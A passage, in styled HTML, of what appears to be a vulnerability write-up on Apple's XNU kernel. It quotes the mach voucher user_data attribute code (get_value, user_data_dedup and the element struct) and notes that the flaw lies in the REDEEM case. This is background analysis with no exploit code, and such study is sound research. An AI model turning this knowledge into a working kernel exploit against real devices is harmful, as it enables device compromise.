<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_handle_t </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">out_value</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_flags_t </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">out_flags</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_t </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">out_value_voucher</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_element_t elem</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(&</span><span class="BGLtzooHlW-c4">user_data_manager </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> manager</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> USER_DATA_ASSERT_KEY</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">key</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* never an out voucher */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">out_value_voucher </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> IPC_VOUCHER_NULL</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">out_flags </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_VALUE_FLAGS_NONE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">switch</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">command</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">case</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_REDEEM</span><span class="BGLtzooHlW-c2">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* redeem of previous values is the value */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> prev_value_count</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> elem </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">user_data_element_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4">prev_values</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_made</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_made</span><span class="BGLtzooHlW-c2">++;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">out_value </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> prev_values</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_SUCCESS</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* redeem of default is default */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">out_value </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_SUCCESS</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">case</span><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_USER_DATA_STORE</span><span class="BGLtzooHlW-c2">:</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">USER_DATA_MAX_DATA </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_RESOURCE_SHORTAGE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* empty is the default */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">out_value </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_SUCCESS</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> elem </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> user_data_dedup</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">content</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">out_value </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">mach_voucher_attr_value_handle_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4">elem</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_SUCCESS</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">default</span><span class="BGLtzooHlW-c2">:</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* every other command is unknown */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_INVALID_ARGUMENT</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Let's look at the </span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_USER_DATA_STORE</span><span> case, which is the command we put in our single sub-recipe. (The vulnerability is in the </span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_REDEEM</span><span> code above but we need a lot more background before we get to that.) In the </span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_USER_DATA_STORE</span><span> case the input arbitrary byte buffer is passed to </span><span class="BGLtzooHlW-c11">user_data_dedup</span><span>, then that return value is returned as the value of </span><span class="BGLtzooHlW-c11">out_value</span><span>. Here's </span><span class="BGLtzooHlW-c11">user_data_dedup</span><span class="BGLtzooHlW-c10">:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.7bb6adaf52c18b6e3e2890205d992e9ab2854f2f"></a><a id="t.28"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c3"> user_data_element_t</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">user_data_dedup</span><span class="BGLtzooHlW-c2">(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_content_t content</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_content_size_t content_size</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t sum</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t hash</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_element_t elem</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_element_t alloc </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> NULL</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> sum </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> user_data_checksum</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">content</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> hash </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> USER_DATA_HASH_BUCKET</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">sum</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">retry</span><span class="BGLtzooHlW-c2">:</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_lock</span><span class="BGLtzooHlW-c2">();</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> queue_iterate</span><span class="BGLtzooHlW-c2">(&</span><span class="BGLtzooHlW-c4">user_data_bucket</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">hash</span><span class="BGLtzooHlW-c2">],</span><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> user_data_element_t</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> e_hash_link</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">assert</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_hash </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> hash</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* if sums match... */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_sum </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> sum </span><span class="BGLtzooHlW-c2">&&</span><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_size </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t i</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* and all data matches */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">for</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">i </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> i </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">;</span><span class="BGLtzooHlW-c4"> i</span><span class="BGLtzooHlW-c2">++)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_data</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">i</span><span class="BGLtzooHlW-c2">]</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> content</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">i</span><span class="BGLtzooHlW-c2">])</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">break</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">i </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">continue</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* ... we found a match... */</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_made</span><span class="BGLtzooHlW-c2">++;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_unlock</span><span class="BGLtzooHlW-c2">();</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">NULL </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> alloc</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kfree</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">alloc</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(*</span><span class="BGLtzooHlW-c4">alloc</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">+</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> elem</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">NULL </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> alloc</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_unlock</span><span class="BGLtzooHlW-c2">();</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> alloc </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">user_data_element_t</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4">kalloc</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(*</span><span class="BGLtzooHlW-c4">alloc</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">+</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> alloc</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_made </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c15">1</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> alloc</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_size </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> alloc</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_sum </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> sum</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> alloc</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_hash </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> hash</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> memcpy</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">alloc</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">e_data</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> content</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">goto</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">retry</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> queue_enter</span><span class="BGLtzooHlW-c2">(&</span><span class="BGLtzooHlW-c4">user_data_bucket</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">hash</span><span class="BGLtzooHlW-c2">],</span><span class="BGLtzooHlW-c4"> alloc</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> user_data_element_t</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> e_hash_link</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> user_data_unlock</span><span class="BGLtzooHlW-c2">();</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> alloc</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>The </span><span class="BGLtzooHlW-c11">user_data</span><span> attributes are just uniquified buffer pointers. Each buffer is represented by a </span><span class="BGLtzooHlW-c11">user_data_value_element</span><span class="BGLtzooHlW-c10"> structure, which has a meta-data header followed by a variable-sized inline buffer containing the arbitrary byte data:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.3f4fc041af984f11d98fc5aca7a145c07ded181d"></a><a id="t.29"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">struct</span><span class="BGLtzooHlW-c4"> user_data_value_element </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_value_reference_t e_made</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_content_size_t e_size</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t e_sum</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t e_hash</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> queue_chain_t e_hash_link</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> uint8_t e_data</span><span class="BGLtzooHlW-c2">[];</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">};</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Pointers to those elements are stored in the </span><span class="BGLtzooHlW-c11">user_data_bucket</span><span class="BGLtzooHlW-c10"> hash table.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
